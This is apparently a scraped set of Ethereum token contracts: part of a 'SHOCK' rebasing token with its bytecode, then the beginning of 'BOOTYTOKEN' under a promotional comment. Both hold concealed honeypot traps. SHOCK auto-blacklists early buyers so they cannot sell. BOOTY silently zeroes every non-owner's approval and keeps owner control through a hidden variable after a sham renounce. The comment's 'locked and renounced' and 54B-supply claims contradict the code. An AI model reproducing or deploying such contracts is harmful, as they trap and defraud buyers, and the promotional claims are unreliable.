function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHOCK is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
IUniswapV2Router02 public sushiswapRouter;
address public sushiswapPair;
string private _name = 'SHOCK';
string private _symbol = 'SHOCK';
uint8 private _decimals = 18;
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 1 * 1e7 * 1e18;
uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
uint256 public constant MAG = 10 ** 18;
uint256 public rateOfChange = MAG;
uint256 private _totalSupply;
uint256 public _gonsPerFragment;
mapping(address => uint256) public _gonBalances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping(address => bool) public blacklist;
mapping (address => uint256) public _buyInfo;
uint256 public _percentForTxLimit = 2; //2% of total supply;
uint256 public _percentForRebase = 5; //5% of total supply;
uint256 public _timeLimitFromLastBuy = 5 minutes;
uint256 private uniswapV2PairAmount;
bool public _live = false;
constructor () public {
_totalSupply = INITIAL_FRAGMENTS_SUPPLY;
_gonBalances[_msgSender()] = TOTAL_GONS;
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if(account == uniswapV2Pair)
return uniswapV2PairAmount;
return _gonBalances[account].div(_gonsPerFragment);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function rebasePlus(uint256 _amount) private {
_totalSupply = _totalSupply.add(_amount.div(5));
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "ERC20: Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
uint256 txLimitAmount = _totalSupply.mul(_percentForTxLimit).div(100);
require(amount <= txLimitAmount, "ERC20: amount exceeds the max tx limit.");
if(from != uniswapV2Pair) {
require(!blacklist[from] && !blacklist[to], 'ERC20: the transaction was blocked.');
require(_buyInfo[from] == 0 || _buyInfo[from].add(_timeLimitFromLastBuy) < now, "ERC20: Tx not allowed yet.");
if(to != address(uniswapV2Router) && to != uniswapV2Pair)
_tokenTransfer(from, to, amount, 0);
else
_tokenTransfer(from, to, amount, 0);
}
else {
if(!_live)
blacklist[to] = true;
require(balanceOf(to) <= txLimitAmount, 'ERC20: current balance exceeds the max limit.');
_buyInfo[to] = now;
_tokenTransfer(from, to, amount, 0);
uint256 rebaseLimitAmount = _totalSupply.mul(_percentForRebase).div(100);
uint256 currentBalance = balanceOf(to);
uint256 newBalance = currentBalance.add(amount);
if(currentBalance < rebaseLimitAmount && newBalance < rebaseLimitAmount) {
rebasePlus(amount);
}
}
} else {
_tokenTransfer(from, to, amount, 0);
}
}
function _tokenTransfer(address from, address to, uint256 amount, uint256 taxFee) internal {
if(to == uniswapV2Pair)
uniswapV2PairAmount = uniswapV2PairAmount.add(amount);
else if(from == uniswapV2Pair)
uniswapV2PairAmount = uniswapV2PairAmount.sub(amount);
uint256 burnAmount = amount.mul(taxFee).div(100);
uint256 transferAmount = amount.sub(burnAmount);
uint256 gonTotalValue = amount.mul(_gonsPerFragment);
uint256 gonValue = transferAmount.mul(_gonsPerFragment);
_gonBalances[from] = _gonBalances[from].sub(gonTotalValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(from, to, transferAmount);
if(burnAmount > 0)
emit Transfer(from, address(0x0), burnAmount);
}
function updateLive() external {
if(!_live) {
_live = true;
}
}
function unblockWallet(address account) public onlyOwner {
blacklist[account] = false;
}
function updatePercentForTxLimit(uint256 percentForTxLimit) public onlyOwner {
require(percentForTxLimit >= 1, 'ERC20: max tx limit should be greater than 1');
_percentForTxLimit = percentForTxLimit;
}
}
|
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80638da5cb5b116100f9578063c82a8fed11610097578063e9240c2d11610071578063e9240c2d146107a2578063ed82193c146107d6578063f9f92be41461082e578063fd2dbb0e14610888576101c4565b8063c82a8fed146106de578063dd62ed3e1461070c578063e679e27c14610784576101c4565b8063a9059cbb116100d3578063a9059cbb14610620578063bce87b3314610684578063bef18a19146106a2578063c4996f51146106c0576101c4565b80638da5cb5b1461053557806395d89b4114610569578063a3306dc3146105ec576101c4565b806336fed9751161016657806356e0ec721161014057806356e0ec72146104955780636b0a26d2146104b557806370a08231146104d3578063715018a61461052b576101c4565b806336fed975146103eb57806349bd5a5e146104435780634c4be8a614610477576101c4565b806318160ddd116101a257806318160ddd146102e45780631c8e11791461030257806323b872dd14610346578063313ce567146103ca576101c4565b806306fdde03146101c9578063095ea7b31461024c5780631694505e146102b0575b600080fd5b6101d1610892565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102115780820151818401526020810190506101f6565b50505050905090810190601f16801561023e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102986004803603604081101561026257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610934565b60405180821515815260200191505060405180910390f35b6102b8610952565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102ec610978565b6040518082815260200191505060405180910390f35b6103446004803603602081101561031857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610982565b005b6103b26004803603606081101561035c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aa5565b60405180821515815260200191505060405180910390f35b6103d2610b7e565b604051808260ff16815260200191505060405180910390f35b61042d6004803603602081101561040157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b95565b6040518082815260200191505060405180910390f35b61044b610bad565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61047f610bd3565b6040518082815260200191505060405180910390f35b61049d610bdf565b60405180821515815260200191505060405180910390f35b6104bd610bf2565b6040518082815260200191505060405180910390f35b610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf8565b6040518082815260200191505060405180910390f35b610533610cb6565b005b61053d610e3c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610571610e65565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105b1578082015181840152602081019050610596565b50505050905090810190601f1680156105de5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105f4610f07565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61066c6004803603604081101561063657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f2d565b60405180821515815260200191505060405180910390f35b61068c610f4b565b6040518082815260200191505060405180910390f35b6106aa610f51565b6040518082815260200191505060405180910390f35b6106c8610f57565b6040518082815260200191505060405180910390f35b61070a600480360360208110156106f457600080fd5b8101908080359060200190929190505050610f5d565b005b61076e6004803603604081101561072257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611089565b6040518082815260200191505060405180910390f35b61078c611110565b6040518082815260200191505060405180910390f35b6107aa611116565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610818600480360360208110156107ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113c565b6040518082815260200191505060405180910390f35b6108706004803603602081101561084457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611154565b60405180821515815260200191505060405180910390f35b610890611174565b005b606060068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561092a5780601f106108ff5761010080835404028352916020019161092a565b820191906000526020600020905b81548152906001019060200180831161090d57829003601f168201915b5050505050905090565b60006109486109416111f0565b84846111f8565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a54905090565b61098a6111f0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610ab28484846113ef565b610b7384610abe6111f0565b610b6e856040518060600160405280602881526020016122f760289139600d60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b246111f0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b379092919063ffffffff16565b6111f8565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600c6020528060005260406000206000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b670de0b6b3a764000081565b601460009054906101000a900460ff1681565b60095481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c5a576013549050610cb1565b610cae600b54600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111a690919063ffffffff16565b90505b919050565b610cbe6111f0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d7e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610efd5780601f10610ed257610100808354040283529160200191610efd565b820191906000526020600020905b815481529060010190602001808311610ee057829003601f168201915b5050505050905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610f41610f3a6111f0565b84846113ef565b6001905092915050565b60105481565b60115481565b600b5481565b610f656111f0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611025576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600181101561107f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806122aa602c913960400191505060405180910390fd5b8060108190555050565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60125481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f6020528060005260406000206000915090505481565b600e6020528060005260406000206000915054906101000a900460ff1681565b601460009054906101000a900460ff166111a4576001601460006101000a81548160ff0219169083151502179055505b565b60006111e883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bf7565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561127e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806123676024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611304576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806122886022913960400191505060405180910390fd5b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611475576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806123426025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806121e16023913960400191505060405180910390fd5b60008111611554576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806122586030913960400191505060405180910390fd5b61155c610e3c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115ca575061159a610e3c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b245760006115fb60646115ed601054600a54611cbd90919063ffffffff16565b6111a690919063ffffffff16565b905080821115611656576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001806122316027913960400191505060405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161461198c57600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561174f5750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061231f6023913960400191505060405180910390fd5b6000600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541480611844575042611842601254600f60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4390919063ffffffff16565b105b6118b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f45524332303a205478206e6f7420616c6c6f776564207965742e00000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119625750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611979576119748484846000611dcb565b611987565b6119868484846000611dcb565b5b611b1e565b601460009054906101000a900460ff166119f9576001600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80611a0384610bf8565b1115611a5a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180612204602d913960400191505060405180910390fd5b42600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611aab8484846000611dcb565b6000611ad76064611ac9601154600a54611cbd90919063ffffffff16565b6111a690919063ffffffff16565b90506000611ae485610bf8565b90506000611afb8583611d4390919063ffffffff16565b90508282108015611b0b57508281105b15611b1a57611b1985612130565b5b5050505b50611b32565b611b318383836000611dcb565b5b505050565b6000838311158290611be4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611ba9578082015181840152602081019050611b8e565b50505050905090810190601f168015611bd65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290611ca3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c68578082015181840152602081019050611c4d565b50505050905090810190601f168015611c955780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611caf57fe5b049050809150509392505050565b600080831415611cd05760009050611d3d565b6000828402905082848281611ce157fe5b0414611d38576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806122d66021913960400191505060405180910390fd5b809150505b92915050565b600080828401905083811015611dc1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e4157611e3682601354611d4390919063ffffffff16565b601381905550611eb4565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611eb357611eac8260135461219690919063ffffffff16565b6013819055505b5b6000611edc6064611ece8486611cbd90919063ffffffff16565b6111a690919063ffffffff16565b90506000611ef3828561219690919063ffffffff16565b90506000611f0c600b5486611cbd90919063ffffffff16565b90506000611f25600b5484611cbd90919063ffffffff16565b9050611f7982600c60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219690919063ffffffff16565b600c60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061200e81600c60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4390919063ffffffff16565b600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600084111561212657600073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5050505050505050565b6121586121476005836111a690919063ffffffff16565b600a54611d4390919063ffffffff16565b600a8190555061218d600a546a084595161401484a0000006000198161217a57fe5b06600019036111a690919063ffffffff16565b600b8190555050565b60006121d883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b37565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a2063757272656e742062616c616e6365206578636565647320746865206d6178206c696d69742e45524332303a20616d6f756e74206578636565647320746865206d6178207478206c696d69742e45524332303a205472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206d6178207478206c696d69742073686f756c642062652067726561746572207468616e2031536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a20746865207472616e73616374696f6e2077617320626c6f636b65642e45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212208c308cd52b5ec53b601ba0234d16cb3734008f2a6a50ff34b00c43d9483e760864736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,871 |
0xd882606f3428be8578f2601bc7a91a63f46b46ea
|
/*
🍑 BOOTY 🍑
BOOTY WILL STEALTH LAUNCH . No official launch time has been set.
Verified contract will be available 1-2 hours before the launch. Will be locked and renounced
right away.
BOOTYTOKEN is 100% community driven project. With manual buybacks and paid promotion we are looking to take a good place in market.
Community is what matters. Community power is important. If you want to be part of the community you have to do your part and support BOOTY TOKENS growth by telling everyone about it. SHILL YOUR BOOTYS.
Tokenomics:
🐴ERC-20 UNISWAP
📊3% Redistribution TAX
🔁9% BOOTY Financing Tax (Buybacks and Promotions)
💰54B Total Supply
💰Max buy at launch 1080000000
🤖Anti-Bot Features
@BOOTYETH
💻WEBSITE : https://www.bootytoken.info/
📱TWITTER :https://twitter.com/Bootyethereum
Telegram : https://t.me/BOOTYETH
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract BOOTYToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**9 * 10**18;
string private _name = 'BOOTYTOKEN';
string private _symbol = 'BOOTY🍑';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
